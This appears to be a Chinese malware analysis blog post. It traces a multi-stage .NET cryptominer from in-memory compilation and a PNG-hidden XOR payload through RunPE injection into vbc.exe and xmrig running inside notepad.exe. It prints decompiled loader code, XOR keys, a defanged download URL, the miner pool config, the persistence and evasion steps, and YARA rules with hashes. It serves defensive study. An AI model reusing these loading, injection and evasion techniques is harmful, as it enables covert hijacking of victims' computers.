在幾周前,我發現了一個惡意軟件樣本,并且非常有興趣對其進行進一步分析。該惡意挖礦軟件采取了一種奇特的部署方式,會在主機上創建一個挖礦程序,并將其隱藏在一些合法進程的背后。
在樣本運行后,我們使用Process Hacker進程查看工具查看,發現兩個奇怪的現象:
1、Visual Basic編譯器無故啟動;
2、一個奇怪的子進程“Notepad.exe”消耗了大量的CPU。
在觀察到異常之后,我非常想知道這兩個奇怪進程的背后發生了什么。
本文進行分析的樣本,來源地址為:
hxxp[:]//netload[.=trade/ghghdshch130.exe
這是一個.NET應用程序,我們從這個入口點來開始分析:
static void StatusBarPanelCollection(string[] args) {
ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);
}
應用程序啟動后,調用的第一個Assembly方法是ExprVisitorBase()。
public static Assembly ExprVisitorBase() {
CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters
{
IncludeDebugInformation = true,
GenerateExecutable = false,
GenerateInMemory = true,
IncludeDebugInformation = true,
ReferencedAssemblies =
{
string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])
},
CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])
}, new string[]
{
ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]),
.POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))
});
return compilerResults.CompiledAssembly;
}
這個程序將以編程方式對一些代碼進行編譯。事實上,在.NET中可以通過可以通過CSharpCodeProvider類訪問C#編譯器。對CompileAssemblyFromSource的調用是程序集被編譯的地方。該方法包含了參數對象(CompilerParameters)和源代碼,其類型是一個字符串。
首先,如果我們深入研究CompilerParameters對象,會從配置中發現新程序是一個DLL文件,并且在磁盤上不會有任何痕跡。該DLL文件需要有特殊的引用才能工作,其字符串被混淆,需要以“POasdIsd”來解碼。
internal class
{
public static string POasdIsd(string string_0)
{
byte[] bytes = Convert.FromBase64String(string_0);
return Encoding.UTF8.GetString(bytes);
}
}
我們非常容易理解,“POasdIsd”只是一個Base64解碼函數,而我們編碼的字符串實際上就是“System.Drawing.dll”。所以也就意味著,這個引用是編譯源代碼所必須的。
如果我們繼續分析,它會設置一些編譯器參數。在解碼后,將會在x86平臺的調試模式下進行編譯:
/optimize+ /platform:X86 /debug+ /target:winexe
所以現在,我們唯一需要的是源代碼,它存儲在變量SizeSoapParameterAttribute中。當然,這個變量也被Base64編碼混淆,并且使用XOR密鑰(5)進行加密。
public static string SizeSoapParameterAttribute =
ToolStripItemEventArgs.ASSEMBLY_FLAGS(
.POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5
);
如果我們在調試器上設置一些斷點,就可以以步進的方式,看到生成的C#源代碼。
在上述工作完成后,編譯過程就完成了。我們可以使用Process Monitor來查看進程的詳細信息。
在這個階段中,DLL被編譯并加載到內存中。我們現在無需對其進行提取和反編譯,因為我們已經有了它的代碼。如果我們對代碼進行深入分析,文件中包含著許多冗長混亂、難以理解的代碼,但其中主要的類很容易找到。
當我們重命名一些函數時,理解這個庫的目標就更為容易了。
private static string xorKey = "UUeoCoipGuVc";
private static byte[] Payload;
...
private static void Main()
{
try
{
IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));
uint size = Program.SizeofResource(new IntPtr(0), hResInfo);
IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);
IntPtr source = Program.LockResource(hResData);
Program.Payload = new byte[size];
Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));
Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));
Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
thread.Start();
}
catch
{
}
}
所以,當其被加載到內存中,它會請求主程序的HTML資源(IntPtr(23)是RT_HTML)。所以,如果我們在DNspy上調試這個DLL,它將會崩潰,原因在于會定位到一個不存在的資源。所以,讓我們回到ghghdshch130.exe之中,并檢查其中的.rsrc。我們目前得到了一個名為138的文件,138是資源ID。
我們對該文件進行分析,發現這是一個PNG文件,其大小為461*461像素,8位RGBA顏色,使用非隔行掃描。
接下來,我們使用上述的代碼,將這個圖像轉換成一個字節數組,然后再轉換成一個圖像(位圖格式)。在這里,能夠使用ConvertFromBmp是這個DLL文件最重要的功能。我們的目標是使用BlockCopy,將Payload的不同部分正確地重組到內存中。因此,它每次會將4個字節大小的緩沖區中的內容,逐像素地復制到正確的目標偏移量之上。
我需要首先理清代碼,隨后才能夠清楚地理解這些步驟。
private static byte[] ConvertFromBmp(Bitmap imageFile) {
int width = imageFile.Width;
int correctSize = width * width * 4;
byte[] correctOffset = new byte[correctSize];
int size = 0;
for (int x = 0; x < width; x++) {
for (int y = 0; y < width; y++) {
Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4);
size += 4;
}
}
int finalSize = BitConverter.ToInt32(array, 0);
byte[] XorPayload = new byte[finalSize];
Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length);
return XorPayload;
}
現在,我們的Payload幾乎已經完成了,它只是使用特定的XOR密鑰來實現解密,在我們的樣本中,其值為“UUeoCoipGuVc”。
internal class Program
{
private static byte[] XOR(byte[] bytes)
{
byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);
for (int i = 0; i < bytes.Length; i++)
{
int num = i;
bytes[num] ^= bytes2[i % 16];
}
return bytes;
}
當Payload被最終創建時,程序集對象會被加載到一個線程中。
Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
thread.Start();
如果我們認為現在已經大功告成,那么顯然是錯誤的。我們再次遇到了加殼和模糊處理。
先暫時不用分析復雜的代碼,我們首先注意到資源文件夾中現在有三個文件。
其中的兩個文件是XOR加密后的有效載荷,另一個是經過Base64編碼后的文本文件字符串。我們試圖查看經過混淆的代碼,以理解文本文件的作用。實際上,它是一個Manifest資源流(Manifest Resource Stream),是在編譯時嵌入在程序集之中的內容。我們編寫了一段Python代碼,用于查看解碼后的內容:
=> python3 manifest.py
...
'RSRCNAME'
'RSRCPWD'
'Dotwall Evaluation'
最后一行非常有趣,因為它揭示了在這一階段中實際上已經包含了Dotwall,Dotwall是一個.NET混淆器,目前還暫時沒有公開發布。
那么,在這個階段它的目標究竟是什么呢?
首先,它會復制主用戶目錄中的第一階段文件,并將新目錄保存到內存中,以備將來使用。然后,刪除此文件的可選數據流名稱Zone.Identifier,以便不讓系統察覺到這個惡意軟件是從外部網絡下載的。
隨后,它在Windows啟動菜單中,創建一個名為“rTErod.url”的快捷方式文件,指向一個互聯網鏈接,這也就解釋了之前為什么要刪除Zone.Identifier。
[InternetShortcut]
URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe
然后,它會搜索主機上是否存在Visual Basic編譯器,并向其中注入資源“rWyMgsOzOKRu”。為了簡化程序解密這個文件的過程、不同類之間的全部交互和數百行的代碼,我們可以用10行C#源代碼進行歸納。
byte[] buffer = File.ReadAllBytes("xplACLWqdLvY"); // Xor Key
byte[] bytes = Encoding.Unicode.GetBytes("rWyMgsOzOKRu"); // Encrypted Payload
for (int i = 0; i < buffer.Length; i++) {
buffer[i] ^= bytes[i % 16];
}
using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {
decrypted.Write(bytes, 0, byteArray.Length);
}
其中的程序集名稱為“adderalldll”,我們推斷與Adderall Protector有關。
經過一些清理后,我們發現該工具通過使用一些反射(Reflection)來實現調用。新的Object類(Adderall)的run()方法在條目中添加了一些其他參數:
@”C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe”
“”
DecryptPayload(cryptedResource) // <= Our Final Unpacked Malware
true
Type Adderall_resource = exportedTypes[pos];
object Adderall = Activator.CreateInstance(Adderall_resource);
vbcPath = @"C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe";
Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {
vbcPath,
"",
DecryptPayload(cryptedResource),
true
});
那么,我們接下來具體分析一下adderall.dll。在該文件中,使用了Dotwall混淆,但看起來似乎沒有嵌入的Payload資源,里面只是Manifest流文件。這就意味著,我們已經非常接近最終的挖礦惡意軟件了!
接下來,我們看看解碼后的Manifest里面究竟有些什么:
=> python3 manifest.py
...
'kernel32'
'CreateProcessA'
'kernel32'
'GetThreadContext'
'kernel32'
'Wow64GetThreadContext'
'kernel32'
'SetThreadContext'
'kernel32'
'Wow64SetThreadContext'
'kernel32'
'ReadProcessMemory'
'kernel32'
'WriteProcessMemory'
'ntdll'
'NtUnmapViewOfSection'
'kernel32'
'VirtualAllocEx'
'kernel32'
'ResumeThread'
...
'Dotwall Evaluation'
最后,我們發現,這一階段的目標是執行一些進程注入,并且進程vbc.exe將部署惡意軟件。
到了現在,我們分析的挖礦惡意程序終于被部署了,接下來就是對它進行分析。在這里,我們的第一個發現,就是該惡意程序是采用C/C++開發的。
惡意軟件通過IsWow64Process來判斷它的運行環境,是在32位還是64位的系統上運行,從而決定它會在哪里進行進程注入:
如果是32位環境,將在wuapp.exe進行注入;
如果是64位環境,將在notepad.exe進行注入。
如下所示,這個樣本會在Winrar.exe后面注入notepad.exe,其中Winrar.exe是explorer.exe的一個子進程。
根據命令行來看,似乎在這里有一個xmrig挖礦惡意軟件在運行。如果我們直接查看幫助中顯示的內容,它們是相同的。
-a, --algo=ALGO cryptonight (default) or cryptonight-lite
-o, --url=URL URL of mining server
-O, --userpass=U:P username:password pair for mining server
-u, --user=USERNAME username for mining server
-p, --pass=PASSWORD password for mining server
-t, --threads=N number of miner threads
...
-c, --config=FILE load a JSON-format configuration file
...
為了確認它是否是這個特定的挖礦惡意軟件,我們需要轉存基地址0x400000傷的內存:
我們發現,其PE頭部被刪除,并且采用了UPX的方式進行壓縮。
該惡意軟件,會針對被感染主機生成特定的xmrig配置文件。首先,惡意軟件會配置好礦工池和用戶賬戶。
隨后,生成典型的xmrig配置文件,并將其保存到“cfg”和“cfgi”兩個文件中。
在我們的樣本中,輸出配置文件如下:
{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "todipacrypto@protonmail.com", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}
在這一過程中,還采取了措施保證惡意軟件的持久性,它創建了一個注冊表項,并且會定期檢查此項是否仍然存在。
與注冊表相鏈接的可執行文件與礦工配置文件位于同一個文件夾中,并且該可執行文件是一個合法的vbc.exe進程。
如果發現啟動,它將判斷挖礦程序是否正在執行,如果正在執行,就會關閉notepad.exe進程。此后,只要taskmgr仍然保持啟動狀態,挖礦程序就不會再次啟動。
1、我們得到了一個編譯后并已經注入了一個DLL的可執行文件;
2、這個DLL文件會部署另一個可執行文件,該可執行文件隱藏在假PNG文件背后,同樣已經注入了第一個Payload;
3、在這個程序中,名為Adderall的DLL被調用,從而允許在RunPE的幫助下將脫殼后的惡意軟件部署到Visual Basic編譯器中;
4、最后得到的惡意軟件將會進行礦工相關的配置,并將xmrig注入到notepad.exe或wuapp.exe之中(取決于操作系統是32位還是64位)。
Xmrig挖礦惡意軟件:
rule XmrigMinerMalware {
meta:
description = "Xmrig Miner Malware"
author = "Fumik0_"
date = "2018/05/13"
strings:
$mz = "MZ"
$s1 = "\cfg" wide ascii
$s2 = "\cfgi" wide ascii
$s3 = "\notepad.exe" wide ascii
$s4 = "\wuapp.exe" wide ascii
$s5 = "--show-window" wide ascii
$s6 = "taskmgr.exe" wide ascii
$s7 = "Miner" wide ascii
condition:
$mz at 0 and all of ($s*)
}
Adderall Protector:
rule Adderall {
meta:
description = "Adderall Protector"
author = "Fumik0_"
date = "2018/05/13"
strings:
$mz = "MZ"
$n1 = "#Blob" wide ascii
$n2 = "#GUID" wide ascii
$n3 = "#Strings" wide ascii
$s1 = "adderalldll" wide ascii
condition:
$mz at 0 and (all of ($n*) and $s1)
}
Dotwall Obfuscator:
rule DotWall {
meta:
description = "Dotwall Obfuscator"
author = "Fumik0_"
date = "2018/05/13"
strings:
$mz = "MZ"
$n1 = "#Blob" wide ascii
$n2 = "#GUID" wide ascii
$n3 = "#Strings" wide ascii
$s1 = "RG90d2Fsb" wide ascii
condition:
$mz at 0 and (
all of ($n*) and $s1
)
}
todipacrypto@protomail.com _
517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC
AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F
40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F
0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9
7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911
BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677
這個挖礦惡意軟件非常復雜,并且綜合使用了各種技術。對該挖礦惡意軟件進行分析的過程,是一段非常有挑戰性的美好(且頭痛)的時光,并且我們充分體會到了逐步突破后的喜悅之感。希望這一連續的分析過程能對大家有所幫助。